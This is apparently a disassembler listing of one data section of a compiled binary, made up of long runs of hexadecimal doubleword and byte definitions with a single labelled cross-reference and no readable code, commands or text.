		dd 0CD07A97h, 91A97604h, 0B4AF310Fh, 3B3048E6h,	0F0898475h
		dd 89A09F70h, 5F616056h, 0B79010C9h, 0B8CC87FDh, 783C1037h
		dd 932C5CACh, 1F90349Fh, 31B58904h, 11535619h, 0C0239BFEh
		dd 0BD33015h, 81844B03h, 207925h, 970E23E9h, 0D520BA96h
		dd 860F2FB3h, 0AE602124h, 824E71B2h, 6461619Ch,	0CDADA569h
		dd 601864BDh, 4E8CB14h,	8B901F1Eh, 818A85D8h, 401AD8Bh
		dd 6F938DB9h, 0C5AA098Ch, 9CA57AB0h, 920DF64Ch,	0AA09A7EDh
		dd 0AAC1522Eh, 36C19ADBh, 3DFF6A1Ah, 123EB8DBh,	0E2BB20E3h
		dd 81833C84h, 0BF554417h, 96FC2857h, 0DA683AD0h, 65120A5Ch
		dd 0E8A9BD1Bh, 7FF202A2h, 0B9FF475h, 15C4E05Eh,	5FD0B049h
		dd 90970DF0h, 5EE4FEDAh, 34E9C871h, 4D45C300h, 0A0D01E93h
		dd 542600B0h, 87672370h, 5F4BF9EFh, 54E8D6D2h, 49C74179h
		dd 0BE182F1Fh, 4B04DF10h, 30B5C9A2h, 45B0FF11h,	1DAB0F97h
		dd 0F94937A4h, 0BF20003Ch, 1EE68748h, 0D7450D02h, 4049183Ch
		dd 812C1194h, 0C7472F5Fh, 14BC19BDh, 0C1852429h, 0D1C3A54Bh
		dd 70BE1F1h, 2040D166h,	810121C9h, 0DA6A26E7h, 0CC2BE969h
		dd 0E6279CDh, 0D8998533h, 0B10297F0h, 5B578A0Fh, 0B72F8092h
		dd 945B8DF5h, 0E277CE00h, 79CACFE8h, 2EB20D03h,	3B40AC0Ah
		dd 0C94517ECh, 11CC482Eh, 899ACB1h, 0B33EE901h,	4AA13217h
		dd 0F326AFB3h, 0DC614B18h, 98823BCh, 0C7456FBDh, 141BA5EAh
		dd 991981FEh, 4795452Fh, 80FAC070h, 0B097F4EBh,	5A2722AEh
		dd 0E26EEA17h, 56095E13h, 0BE18454Ah, 0DEB6C12Ch, 0E052A646h
		dd 7B809809h, 181459AFh, 0B966C7C1h, 0EFF31908h, 1209F7D0h
		dd 0FEF5D102h, 892E6C89h, 57E4FF1Bh, 0D2E075B6h, 0C2A1A595h
		dd 2D287549h, 6EBE4FACh, 0F6570006h, 64C426A0h,	9B7516B4h
		dd 7489AF45h, 4C060C91h, 296D1061h, 5FD1044Ah, 9197BC0Ch
		dd 0F0B6BCF2h, 0CD953F09h, 0A0B4CE4Bh, 0E4692195h, 5E5727F5h
		dd 64014C37h, 0E1F487F6h, 1A3D8141h, 30FB8B01h,	56716050h
		dd 95706697h, 0AC026737h, 2C14E8E9h, 0E500D7D6h, 19B88E57h
		dd 5671DBh, 82984D08h, 0CB6229D8h, 7894EE5Ch, 545C3F04h
		dd 38B1505Fh, 2F22D1D6h, 48855837h, 9ECC0F46h, 0F7FB1E0Ch
		dd 0C87DC456h, 0D2F6BDE4h, 4FA8F2B9h, 298D0913h, 20CACFE5h
		dd 0D1122646h, 0BBF06507h, 4D423CAEh, 92975D5Fh, 409ECDADh
		dd 0A8AA4129h, 0CDA16F02h, 66AD80E8h, 525C07D0h, 0B7AC3727h
		dd 456F3079h, 64021871h, 0A35E1FB8h, 40CA5CEBh,	2C08FF38h
		dd 0E20D3D01h, 0BC2AA296h, 2426283Ah, 5DF52989h, 1201B634h
		dd 74163995h, 0C0B2BFEDh, 0FF06CC4Bh, 8452E125h, 0B4BC5F34h
		dd 4103A0A1h, 2C8520h
		dd 4B21B531h, 8588B323h, 4A0803A2h, 0F2F59249h,	85588899h
		dd 0A0058501h, 20B56001h, 0EC80CBAAh, 0D6614CE8h, 679C541Dh
		dd 0F3041044h, 3A5FCCA4h, 9B5B69BCh, 8CEA926Fh,	0B2D73DB0h
		dd 97F97788h, 0B3376E89h, 0A6B17084h, 984E3FBh,	7915299Dh
		dd 1DDF9A92h, 12DC2A56h, 0B7B537F6h, 6C6A5FBDh,	0F96E9909h
		dd 569FAC7Ah, 5A00DE53h, 5090C503h, 587BB52h, 0F6D23C9h
		dd 5A1CE831h, 807103BFh, 644EFDF3h, 0B9143BA1h,	685DFDC1h
		dd 0A75EB1CBh, 0F75835A5h, 0C0FDA209h, 0AD625B58h, 23F65B5h
		dd 109415D2h, 0F44C664Ch, 55140292h, 2329AB0Fh,	2FD88161h
		dd 28C43229h, 0EBBB45E9h, 2FBAD4A9h, 9D890F30h,	25CB9641h
		dd 0BB04F766h, 2B2EA1BFh, 68D9D3B8h, 0D3302ED9h, 1D9DB1BFh
		dd 16092114h, 89954FDDh, 0B79AFBB2h, 38022ACBh,	162A23E9h
		dd 0BBB777A5h, 70C63289h, 805750D3h, 5B3304A5h,	0AAFCB750h
		dd 4ABD024h, 122C65D6h,	19AC2BBDh, 798D028Ch, 699FE2CCh
		dd 57529A74h, 0DB09992Dh, 1F1C4348h, 9CA82AC6h,	8E403FBCh
		dd 38E47611h, 9080AD38h, 5684B1BEh, 6A0098A5h, 8F88AF31h
		dd 0E55B5F50h, 884E0D72h, 0F2001512h, 0FC57B3C8h, 43AF5D2h
		dd 89DCD85Fh, 0B8AAA958h, 12AB0242h, 0BE148DA4h, 8049AC5Ch
		dd 1AD1A148h, 0E6F000EFh, 6A7D421h, 0F9FC5AD5h,	9D238412h
		dd 0AF4584FFh, 1B23586Bh, 8DBBDB16h, 558041E9h,	80466822h
		dd 0BE6050DEh, 8E4E0F21h, 0B6926107h, 0FB33E050h, 7C6400CCh
		dd 0C7BE2E7Eh, 2688E0Fh, 0F62BE425h, 79202728h,	0A3614B1Bh
		dd 0BD318112h, 392E1899h, 3D536B3Dh, 32EFAFA0h,	601333E9h
		dd 1E1044DEh, 61D9E661h, 80C82C56h, 799B899Ch, 5B622552h
		dd 1A5CFEC7h, 0D5998531h, 0E6F1B341h, 1670DD5Ch, 504F9505h
		dd 0A5E07340h, 0B55705A2h, 81B031C5h, 4F118D74h, 4DF12C4h
		dd 0C0829BBFh, 0BEFDC2F6h, 5C110014h, 0ADC781C6h, 2E4B4A8Bh
		dd 6BA11E8Ah, 0A639Eh, 8FC55391h, 4BE006C8h, 4C0CCDFEh
		dd 34006ED2h, 9976BCF4h, 0F6F68EBh, 2E8C36E1h, 42BB7042h
		dd 46D6E65Ch, 940E001Dh, 60C7E3B3h, 0FA7F2E6h, 3153BF3Dh
		dd 0EA734F49h, 26181859h, 4B762E09h, 3097EEDh, 5F70F2BFh
		dd 9F75ACB4h, 0B1844E0Ah, 0CBBF1900h, 0B5966875h, 68015737h
		dd 0F1BD0395h, 447DE925h, 0FD290DADh, 83FC6AA2h, 6AFBB592h
		dd 8A00777Ah, 2820BA96h, 0A40F5253h, 42BBADCDh,	5D500398h
		dd 28250238h, 8D090785h, 0D3723815h, 0AEEA504Eh, 0DA8AA10Bh
		dd 914457h, 0FAD22B88h,	67FB1CBCh, 82312F3Bh, 2C75A799h
		dd 4B49F018h, 0FCE5325Bh, 162E055Eh, 68DD03DCh,	18ED9D01h
		dd 2050DB12h, 4A00E76Fh, 5CCD6D93h, 0BC5C68A2h,	6ADC1828h
		dd 9763D508h, 0F7CD229Ah, 0A9E7FEE0h, 2C3A2790h, 294490DFh
		dd 1351258Dh, 6D6B1AD1h, 0DC63404Eh, 0DB0465AAh, 25D19D33h
		dd 0B096F7EFh, 0A08AFCEFh, 9A8F8183h, 0CAEF976Ch, 0A8323B60h
		dd 0FB860087h, 62790B91h, 0DB17B70Fh, 24CC3FB3h, 0ED8D2789h
		dd 57504E80h, 0A009BF60h, 0E35A5C2h, 13F53226h,	82599B3Bh
		dd 0D012FE3Ah, 21214163h, 2EAEE937h, 19239B6Bh,	9B1FD00h
		dd 0BE5CE074h, 0BE0A0EFEh, 0A9FFCF80h, 0D5903BD9h, 791E3125h
		dd 61356BFAh, 0F8F9CE80h, 109E35h, 810B8096h, 86C684D7h
		dd 6CCA574Bh, 0E4974A22h, 5DFC97EFh, 365EE8E0h,	7D90093h
		dd 2BADB633h, 0B50A5441h, 0BE631EA4h, 0DED5A6h,	49A9DE07h
		dd 60021E75h, 27BB4B02h, 0AB50459Dh, 0D87053BFh, 604B3D71h
		dd 0F6814ECCh, 85F41614h, 0C4CE2A03h, 1ABC7895h, 618589C2h
		dd 94959A58h, 9F7C70FCh, 0E0441C6Fh, 4AD9E3BBh,	0B6FAF1C4h
		dd 0EEE9F0BAh, 0F61927BDh, 0E41BF70h, 0D831D2DBh, 9DC67058h
		dd 0FDCA15Ch, 0B86A19F9h, 99F2E7E0h, 9E974EDFh,	706E9316h
		dd 0A1267694h, 0D5080ED6h, 0B4E9091Ch, 11B11078h, 3FCECC83h
		dd 710DE018h, 0F64A0250h, 0FE8AC18Bh, 3D49D05Ch, 0D46A0062h
		dd 0C0FD84D6h, 4D6D1309h, 2D6E5E2Bh, 92339F7Fh,	0BEE47017h
		dd 3ED6E9E7h, 0E7033F6Fh, 5BD2394h, 19C5B4F4h, 9BBC45Ah
		dd 0E78D82Dh, 30476195h, 75BD0B00h, 5000E6B4h, 3EAA4BBh
		dd 5CFD23Fh, 272FFD91h,	0AF9DB498h, 3725ED5Eh, 0D83480D6h
		dd 2B7F681Bh, 66FC6B12h, 9AD3CABDh, 4A9F8408h, 0A9C374AFh
		dd 120A898h, 53C2F1CDh,	526D9D2Bh, 0C2595B92h, 5626B00h
		dd 2587E1EEh, 79CDD1FFh, 1747AEC0h, 2E0FAD8h, 22E8BF2Ch
		dd 17C06B58h, 99256CB9h, 1A45E52Ah, 0C17345C3h,	4D6A6170h
		dd 58BC1D02h, 0BBD29209h, 0E50902E4h, 0B3900329h, 907750D2h
		dd 1DFCDAh, 0DF284C51h,	7AAC6E74h, 67E5E712h, 0FD0068B2h
		dd 3A03C121h, 6104685Dh, 0BE9BF8AFh, 5BCE22FCh,	0D2ED9029h
		dd 0AEC827C1h, 72BD11D4h, 0B35252Bh, 0DBA554E5h, 0F0FC50A8h
		dd 2AF0AD4Eh, 2E912DFh,	0C94EF20Ch, 0BFBA1023h,	317C0E0Ch
		dd 0F772199Dh, 3AA64141h, 2024B152h, 0AD9020B9h, 0A94B7C0h
		dd 1700184Ah, 497BC23h,	4BB18B32h, 1A15D95Fh, 1432C16Eh
		dd 352F64B5h, 0DCC8B113h, 0F4F96A5Bh, 0A89C39B5h, 6790D525h
		dd 0C709F381h, 736931EDh, 400711B3h, 0B05BDE98h, 0C4D85500h
		dd 8170E6h, 0B3999BD3h,	8971E44Bh, 177D9512h, 0E6C97DBCh
		dd 702597E4h, 60A6C2C0h, 9D152101h, 74690BD4h, 8AD68FEh
		dd 5A3B0E75h, 0EC00FCE3h, 445B9DD7h, 0F7021A49h, 3CF1BF5Fh
		dd 32C25C12h
		db 0F2h, 0F8h, 7Dh
byte_544547	db 59h			; DATA XREF: ___:off_445258o
		dd 0FB033E13h, 0DA8AC82Bh, 0FFF1D1F2h, 0E3629101h, 0B5EBCD24h
		dd 0AC095516h, 6471DE03h, 82E6E585h, 68B25050h,	24A35C16h
		dd 6CB111A9h, 4541BD12h, 128DD815h, 0E4921B97h,	736C0056h
		dd 0E95F3D01h, 9817516Eh, 810DD934h, 0FF8DDC5Bh, 25C403D0h
		dd 4B91C4F9h, 0EB60AE37h, 1369B3h, 58361564h, 750DCE4Ah
		dd 0DCE5FA02h, 82A58304h, 88F8FE26h, 902F6DD9h,	93041Ah
		dd 41A2F767h, 559E36Dh,	0A598D34Bh, 4E404279h, 581F446Ah
		dd 0FC4DC563h, 168AC160h, 0DD4F65EDh, 6B7E6535h, 67A96EF9h
		dd 893E06BFh, 794521B5h, 5693A8B9h, 8BD72580h, 1BF92279h
		dd 5C009018h, 5370A497h, 368BFBBAh, 0D86D3D9Dh,	246DDC81h
		dd 0D1028121h, 2F08D036h, 44A65461h, 5C20AA51h,	4CECED29h
		dd 0D405296Ah, 7917793h, 0E14055F8h, 20821B3Ah,	140B536h
		dd 2B5F165Bh, 82A9ADD2h, 5C1D319Dh, 0AC6DFA5Dh,	0AFC06D67h
		dd 12B7BF18h, 0E236FB2Dh, 0E6BB0231h, 797DB4CAh, 9D238E0Fh
		dd 293E88D5h, 4A12BF4Eh, 1DB2D5A6h, 1DE7CF30h, 82C1E1A0h
		dd 0EF91D740h, 0B35EC756h, 0EBFF58CAh, 9BD8913h, 61E68B53h
		dd 273911E0h, 684CD0F9h, 1617B648h, 59E80589h, 0FE1862E2h
		dd 4B1244E8h, 61030279h, 0A0F77568h, 760EB8D1h,	56993C6Bh
		dd 13F9C638h, 0ADB85FDFh, 98B7F882h, 0CA0D4A0Eh, 9D3317F4h
		dd 0FAA50112h, 7BD2B93Ah, 0B789D001h, 2997871Fh, 2C2EF5C9h
		dd 668AD305h, 660B008Eh, 6C3CAB94h, 0A3047859h,	20908F9Dh
		dd 5C5B79D2h, 14CB510Fh, 0E3B88EBDh, 0AB9F5409h, 67297199h
		dd 0B3F64967h, 3B1E00F4h, 5BF4D1F3h, 330960DDh,	5C3489BDh
		dd 25FF489Ch, 0E56BFEAh, 2525DD28h, 20EA660Dh, 0B7010109h
		dd 0DB79BB45h, 0DC6A3739h, 6025D7CAh, 0BEBA6688h, 46FADC1Eh
		dd 1493A300h, 0CBBB9E54h, 1CA10917h, 67F76650h,	0E18E788h
		dd 1F18610h, 47FE5CBCh,	802446Bh, 0C254737Dh, 450DE70h
		dd 4109C3BFh, 6037AE76h, 7482D0B4h, 13DB4432h, 0C8515250h
		dd 2E1C097Dh, 57415FD7h, 0B5C27EC8h, 95D7AC8h, 5B400628h
		dd 0D6B8755Ch, 6B55F0F0h, 351C00F6h, 6660C4AAh,	841276BAh
		dd 795B50Bh, 0B39293FDh, 49A04E00h, 1B98835h, 0CF100B89h
		dd 0BE0FC6C8h, 82408E2Fh, 42CB113Dh, 84507519h,	148D5B4Bh
		dd 362BCE65h, 61256211h, 0A5E55B0Bh, 0D900F637h, 366322CEh
		dd 0B892074Eh, 3F8D090Dh, 0D845BD56h, 0D90C69A4h, 26D810F3h
		dd 0F7854A57h, 3E6EABh,	0A4B75839h, 50402F90h, 9F60FB96h
		dd 10BD26C6h, 0C8414Ch,	0AB815138h, 45839B0Bh, 61FA0D18h
		dd 0C44AB72Ch, 0B6965030h, 5E8DE1FEh, 2571BAF4h, 8DD8A2E7h
		dd 0C272F625h, 0F8BD774Fh, 687780BEh, 158D893Bh, 1EC08314h
		dd 0DE6379DCh, 4BDA8BEEh, 6920F3C6h, 96F70CEh, 21A527E1h
		dd 96707EF3h, 44569A45h, 0FB25BF16h, 6408CDEFh,	0FEBB601Ch
		dd 0FACE00A1h, 6B5D8F80h, 3D05E7BFh, 820F4277h,	0AB1228AAh
		dd 0B57212FAh, 904EDE1Ah, 62FB5DF0h, 3246D580h,	78D48C5h
		dd 0D0720270h, 0DCA270F4h, 902550FBh, 22FF6EF5h, 0A0BC1071h
		dd 0DC9612DCh, 0D31CE2AFh, 0E300D2A2h, 68D3FF49h, 338C687h
		dd 0F2178011h, 0B58C5342h, 0CA404A6Ch, 412C3869h, 4005BD30h
		dd 3C4FE932h, 0EECF68DEh, 0C2DF8001h, 383A2EF5h, 0AB2385E4h
		dd 6E7E51A1h, 82A900D0h, 0E55012FFh, 0D1C712BFh, 0CC58E20Eh
		dd 528B59B8h, 0A9CFC7F8h, 58DBABF3h, 1D2B0C0h, 0E301EC94h
		dd 894CC4CEh, 0F16565B5h, 1CAC636Dh, 7166008Ch,	0F5D3BAFBh
		dd 0C44A31B1h, 17B237E6h, 2518C230h, 90FFFE1Fh,	0F2DF813Bh
		dd 7F0C2576h, 80125666h, 19E3AAF3h, 0D93E0B4Ch,	0CF874CDCh
		dd 8C96E473h, 8A00468Bh, 0DE59EA83h, 93154Bh, 0D982CBA6h
		dd 0AB90A0F0h, 1150482Dh, 40EA7F34h, 26B7513h, 11FE1D6h
		dd 0FE6A595Fh, 8842E74Ah, 965B8040h, 0FF05BFF0h, 1FD1BD89h
		dd 0FC3EB429h, 97F89279h, 0ACE1B7C4h, 0E0BFC0F3h, 95341410h
		dd 0C854CEB2h, 9502584Bh, 0F8FAC51Bh, 0BF817E59h, 64F93870h
		dd 0DE91152Bh, 4D0BB0BCh, 2C6D9D03h, 95DBE0B6h,	0AEFC9485h
		dd 3DA85D64h, 1E8E0F82h, 458BBA5Fh, 9509C149h, 12CC78F5h
		dd 809B6A5Bh, 248DBFD6h, 1881EC6Ch, 30820138h, 9912C6FDh
		dd 856EF1DBh, 4C071B23h, 0B2D06EBCh, 0B60A14F9h, 46FBEB13h
		dd 1320D50h, 5D52821Ah,	574D8501h, 3489E2FCh, 0E7DE00FEh
		dd 0BDCBE8C3h, 2543359Fh, 0F27EBFFAh, 0B294BF00h, 7967B5A9h
		dd 35A3BB04h, 49AC7C57h, 943B17D2h, 0A725A8B6h,	0C7BB80B8h
		dd 967B37EDh, 8FB06F92h, 8508459Eh, 595F1517h, 198C14A8h
		dd 59D9B302h, 51A3ADF5h, 745B49BFh, 4A415650h, 1CB2D9h
		dd 0FDF5A719h, 2D628587h, 9BFF964Fh, 98F9BAE8h,	3BD78168h
		dd 48A52EF2h, 0F94A0F66h, 58250ACAh, 2723DFFh, 0FCE0235Bh
		dd 91AAB5D5h, 0AF0B8019h, 5A84BCC2h, 5380473h, 61F5022Ah
		dd 0A016D6C6h, 0FCBDBF0Bh, 0C5801D91h, 932F3949h, 0D585E005h
		dd 0A101B027h, 13F44D92h, 0C500FA23h, 385D4AF1h, 0F64C688Ch
		dd 0B51C7F59h, 376DFFF4h, 8B3005ECh, 0B824BDC1h, 662B284Ch
		dd 0BCB0997h, 0EAFE819Dh, 0F71EA962h, 0AE04A3BDh, 0A0932EF5h
		dd 1ABFA090h, 7BDAFB9Ah, 0F8B70C2h, 760C39FBh, 5BF3885Eh
		dd 390A5809h, 0F446D3AAh, 0F8FAD60Bh, 1CDD0589h, 2D1E6FF4h
		dd 2CD17D2h, 0E44EE9EFh, 5CECEDh, 0F3695375h, 0E784709Fh
		dd 0CAF71F18h, 81295576h, 6C022B5Bh, 0C650BFB7h, 443D005Bh
		dd 8C4AE6BBh, 7D009062h, 98063022h, 2A650215h, 97B8D1E3h
		dd 275E5DE2h, 896A10DEh, 0FFB54FA9h, 0DE62F6E6h, 8FE2DC00h
		dd 6C3446AFh, 8A46CBB1h, 0A9238C5Ch, 0BF430C78h, 8350728Bh
		dd 6DB63A95h, 5CEE601Dh, 0EB150F95h, 4AA161D6h,	9852BE8Ch
		dd 89D1508Fh, 3EC7B521h, 0C15A6191h, 5A026A72h,	7826C047h
		dd 31C2CB66h, 0BDEAEEC0h, 74900205h, 3BF32C72h,	6ED98A16h
		dd 3743EFh, 57FEF9ECh, 0C7457C61h, 94E9DEFCh, 0B105AC0Dh
		dd 0FF04D228h, 2FD3BD20h, 0D6CC390Dh, 0A553F109h, 0DCD55Ch
		dd 1B8BEC9Ch, 0BD2B57DDh, 7A0FD14Bh, 219D625Fh,	59375616h
		dd 902BEE61h, 0DEC394h,	15B0850Dh, 0D6A5CC6Ah, 60396B13h
		dd 498AC8h, 2DFE8FCBh, 0D09C22F1h, 61A7E00h, 17BBBA66h
		dd 27A19161h, 8D025D37h, 61FB3433h, 0C1CBFAADh,	66101E0Dh
		dd 0BF4A91BBh, 0E83F8DD9h, 0DFB7C4B7h, 849D83ADh, 0EF0E35BDh
		dd 0A9972BF2h, 0C9A832h, 0B2D69A19h, 0AA9DF4E3h, 0C852B3A2h
		dd 2745EB98h, 91BC883Eh, 0FBE9F900h, 0BA3BEF2h,	0CAC80FB3h
		dd 283FEF6Ch, 0D670113h, 2B9E3E14h, 0E765EC18h,	620F1601h
		dd 0FF6A5FC1h, 92B87969h, 0E10199FEh, 89EDF2B8h, 0AD6BC185h
		dd 8DD52A50h, 24699380h, 64DE548Ah, 64604B36h, 5C1008Eh
		dd 658328Bh, 7F0A37F0h,	91800720h, 15784B0Ah, 289700B8h
		dd 3453160h, 0F56009Eh,	193EE9A2h, 613876F1h, 0E6FC0DB0h
		dd 456F8470h, 0FC71E40Ch, 0C60825A0h, 1EF4404h,	62B58D4Ah
		dd 0EC06172Bh, 0D7BFC0C7h, 5F1EFBF7h, 21F4CCBAh, 892A0F41h
		dd 591696B5h, 407A89BAh, 2B36EC33h, 8C00C85Eh, 0D18B1C3Eh
		dd 0F6E0E360h, 0FFCA0EADh, 0E9246124h, 0C07CADA6h, 85F28067h
		dd 66AF242Fh, 7230BD3h,	0A8A5D488h, 0B5C2A08Ch,	0B75BB105h
		dd 2EB1A222h, 7E49015Ch, 0FB526968h, 0CA4C1C45h, 86EC0089h
		dd 10B81F42h, 0C105F0A0h
		dd 58E9257Ch, 558BF5ECh, 66256754h, 27297604h, 0D8FA2FC5h
		dd 6C12B14Fh, 9C980DB2h, 0E183320Dh, 1989028Dh,	773DAB3h
		dd 2BD12A31h, 1958900h,	440058ACh, 8BAD1615h, 95E811Ah
		dd 261D9BEDh, 3C080D73h, 18467C50h, 0DC483E00h,	0C7816199h
		dd 0B1AE880Ah, 3193BB03h, 0C2F29EFBh, 40E185A4h, 976D0B14h
		dd 8CC8301Bh, 0A024222h, 70B910B7h, 29C5D20Fh, 17AE1ECDh
		dd 0A6FFCh, 6C4B8B3h, 4131A4h, 0FC233362h, 9295F381h, 2B14B20Bh
		dd 0C0354DC0h, 4A37556Ch, 85812305h, 16FC91BCh,	2459C2D8h
		dd 0D860E7C0h, 4E2B12F0h, 5CB2D2h, 0FD8AC03Eh, 3487B6h
		dd 6CA03CBFh, 0B226667Dh, 0E2471309h, 0E0287158h, 280AE781h
		dd 4DBF0572h, 0C687CFF9h, 0C9866032h, 7698B535h, 732C512Dh
		dd 788F231Ah, 0CF077F2Ch, 0E65F68FBh, 810FC41Eh, 8B7F3322h
		dd 57445605h, 4184EF16h, 13D971ACh, 5B617053h, 81531597h
		dd 521DFBFh, 0AD202B79h, 2B7F927h, 0EEA9FD0Fh, 0EC7CE07Dh
		dd 0B25A1410h, 3864CD0Eh, 0B8D5E96Fh, 3AE70779h, 9B55BC29h
		dd 0DF0259F8h, 0F5B50158h, 0E38D718h, 1A97FB8Bh, 26B28012h
		dd 97E1FF28h, 1601BB37h, 0D59D2335h, 0CA4AC828h, 4607E23h
		dd 19E3817Fh, 12149761h, 0C325A668h, 0F4B2F812h, 2A21608Dh
		dd 3D387B87h, 1F446E5Ah, 5E014AAEh, 0B42AEA3Ah,	611D141h
		dd 4A76F62Ah, 3AA206F6h, 20B1B0C0h, 5E171297h, 1600DC59h
		dd 9D75EE11h, 8170E121h, 0B6D86A85h, 0DE014F88h, 6029651h
		dd 5520A18Dh, 0B5951216h, 6E77004Ah, 16F6950Dh,	7284084Bh
		dd 0A083E7EBh, 2A4C69Eh, 0BB3BFF1h, 0F2774EFCh,	0C9D4006Ch
		dd 0FE0D81DBh, 0E69F0903h, 5B572D8Dh, 0B7971164h, 883D005Bh
		dd 0C9267F0Dh, 35F91509h, 793F6A65h, 80430093h,	2C0EA1BEh
		dd 51C0CB00h, 9DB129F9h, 6D6902C5h, 6A46807Bh, 0DE7C5Eh
		dd 70894317h, 6358684Eh, 60540D12h, 0F8657A88h,	0EB7919h
		dd 915C0A3Eh, 0A9D80266h, 905BB325h, 0E59623Ah,	72D2F326h
		dd 19F78400h, 0D2C54988h, 0E0805BCBh, 12A72434h, 89541260h
		dd 0F8AC7B2Dh, 3CE3FAC1h, 0CDF1E4E4h, 0CC4EB825h, 0F9B5279Ch
		dd 2EDAC3C9h, 6FAAA424h, 0F9B60363h, 4801C4E9h,	96C0B114h
		dd 4CC1B6Ch, 42E7D101h,	0ADBD0BF6h, 0B95B29CEh,	65AB8412h
		dd 59E2AE28h, 6AC5C94Ah, 0D1B841B9h, 0A998AA12h, 0E72ADEE1h
		dd 38C0B466h, 956D589Fh, 0D6070DCCh, 896BFB3Eh,	2F60CD7Ah
		dd 834F15h, 0B2490C19h,	6F9DC34Ch, 36918C0Bh, 0A41A51FCh
		dd 14DD096Fh, 0F8F8F414h, 5AE38012h, 9002F7E1h,	34B0D5DAh
		dd 0A5BCD7B7h, 1DE0B24h, 0E0963092h, 2FEEFFAEh,	8A98CCC1h
		dd 12C2EFD0h, 0E36CBB8Fh, 950904C6h, 0CEAE1401h, 0E1B04B34h
		dd 0FB96A17Ah, 0BE734ECBh, 0F4CAD327h, 5A27D996h, 8058FA90h
		dd 89384BDFh, 0F7DB2E8Fh, 3776AFC9h, 7E25EE40h,	8CC82815h
		dd 71580F8h, 92CC0089h,	354FD79Eh, 0A5006DDBh, 504DB0EDh
		dd 0E83FCB6h, 5F5BFDF4h, 9B552433h, 1DFFC193h, 0DD2B46E2h
		dd 0B0246692h, 1D0F93CCh, 0FABC8FF9h, 2BA58BA5h, 524DE1FCh
		dd 59F461B0h, 0F50713DCh, 0BB3B0F5Dh, 6BB3EDA2h, 0BC0A1ED7h
		dd 0A06ED457h, 561F29A4h, 5E417141h, 0E9A4822Fh, 0F6D27C3Bh
		dd 165EC548h, 23B8F6D0h, 0EE9A97EEh, 7FD7CE81h,	607E40E8h
		dd 20003E5Eh, 5C529BCCh, 760859h, 861ED1BDh, 25A6A51Ch
		dd 4017F6B5h, 0FEEDD312h, 2260E300h, 0A3833975h, 5B0B127Eh
		dd 880CF2FCh, 8E37AFD5h, 8B17F80Ah, 0CD495107h,	0BF078900h
		dd 343C1258h, 9E232C5Ah, 0C38061C0h, 25958982h,	675B1081h
		dd 5F181D79h, 0BC38A938h, 92053FA1h, 0BD57F9A8h, 0B8B0C4AEh
		dd 25A3D41Bh, 0C04C5C7Ch, 43C256BFh, 27B57395h,	52E226D0h
		dd 3BF135E3h, 0DDC8AB16h, 225E003Ch, 6AC66C53h,	640046DFh
		dd 2F2BA31Eh, 40E03B35h, 5B4ADE9Dh, 0BB4F36A9h,	8F02CC6Eh
		dd 2BA876CDh, 0C63F9989h, 6F3BA92h, 859D0307h, 0EA8B6A20h
		dd 0EFE56047h, 440779D5h, 2E935D47h, 0BAA86F60h, 6D1900C2h
		dd 0B5E6FCEBh, 955F9D89h, 41E27756h, 5CED9907h,	0F956A9C2h
		dd 1429E5E2h, 4949F4B5h, 82985866h, 766FF305h, 82BDC283h
		dd 0F615854Bh, 70E0E094h, 95290B5Fh, 58F414F5h,	0D03891C0h
		dd 8243017Ah, 8A392AA1h, 0FB74898Ch, 134C7B5Bh,	3EA9A9BDh
		dd 1F411231h, 9AB595ACh, 0F287C002h, 2E67ED52h,	9147BEE1h
		dd 65D8242Fh, 39116213h, 29CB830h, 3F3AD5E6h, 910295D4h
		dd 0ABF9040Bh, 0ED80312Ah, 116D8F10h, 0B4B2DB5Ah, 35BEAC00h
		dd 16E98A84h, 4C974C4h,	55445F09h, 2538AC00h, 119882D8h
		dd 0E81F4858h, 97C01D2Eh, 0B493B65Bh, 2BF4F35h,	3F18E2CCh
		dd 2BEF8455h, 9345F82h,	0A50BEC5Ch, 55E2A9EBh, 0D5009837h
		dd 38C01C33h, 9152B99h,	75FA31AAh, 0AFDC2A21h, 0FABF250Fh
		dd 581263E5h, 38A7BBAh,	4F7EFFBEh, 0D7EBBAD2h, 8F187C18h
		dd 5D5FE507h, 0BDFEC6FBh, 74F6F5B4h, 0C5F48BE0h, 0C77B1A0Fh
		dd 8B7AF408h, 0D6C756F9h, 2E241446h, 92A5237Eh,	4B67F3DEh
		dd 3222668Ah, 2FDEAE81h, 0B7534A30h, 0C65B2B04h, 0A64D8AEh
		dd 0D72CBA04h, 7BAB34DDh, 0C51B2F26h, 2878076h,	48E9FB6Fh
		dd 0CCFFF338h, 5C9269Dh, 8CBCC144h, 0FC0BD3Bh, 33BE805Ah
		dd 29F109A1h, 0C8B72A0Eh, 0CF75204Bh, 3C00CCB3h, 56FFA63Fh
		dd 27F8407Eh, 50585FA2h, 392C3690h, 0F3780CFh, 6B962AC5h
		dd 7AD49F20h, 0CB3FF780h, 339F5h, 0C1F36F2h, 0BE2A9497h
		dd 51A2AB4Ah, 0F57C7100h, 5FDD3344h, 8B905B09h,	0DD6DFFFAh
		dd 4DCDC0EFh, 591B50Bh,	850912BDh, 337DE1FDh, 20FE5ED9h
		dd 761E0182h, 5721FB00h, 7BD01F2Ah, 0EC274BC5h,	925FCDBAh
		dd 15D6F3Ah, 0ADF27852h, 2831072Fh, 0C6058431h,	0B70C45BEh
		dd 9BC8037Fh, 0D2C517E2h, 0B2FA235Ah, 11E90511h, 19FEE300h
		dd 629DBC31h, 30CEB701h, 0A14A4DB2h, 0AA7DD3E0h, 80177D5h
		dd 3FF2B1D1h, 868D1F1Ch, 0E93F4710h, 166B1721h,	5F2ED8BBh
		dd 9BD9E8AAh, 69035F2Fh, 0F8815639h, 5E2CDCE2h,	34CFD200h
		dd 655C1E67h, 0DC17B490h, 0EEC8E700h, 0B5EC866Eh, 5B1E05CCh
		dd 0FB45BD2Bh, 0EE9BCC56h, 0ECBE05C0h, 0D113544Dh, 53DB6AD7h
		dd 0DFE0ADC0h, 0DC3CBFBCh, 0C46DA576h, 3C51FC92h, 3704F23Ch
		dd 0BC64B0CEh, 9EB7C45Ah, 0BEF575ABh, 0D7F321A3h, 0FE9F41F0h
		dd 47E9BD00h, 9501BAE8h, 2E139205h, 940D1FFh, 607908CDh
		dd 0CB5D7EC4h, 0ABA2A5B5h, 0C0FE026Ah, 0BA418A2Eh, 882F909Ah
		dd 0CF3FEE96h, 0FA5800F0h, 0F42B6AEAh, 0F21C0425h, 82D2A429h
		dd 89505736h, 61032BA6h, 0C8EF22E2h, 51B7F066h,	5F01E926h
		dd 71086E50h, 31D9A50Ch, 0A90242A5h, 597F73BAh,	3EC5181Bh
		dd 6FA661CFh, 0E936048Bh, 8A8EAB3Fh, 58E2A510h,	0FDFE2401h
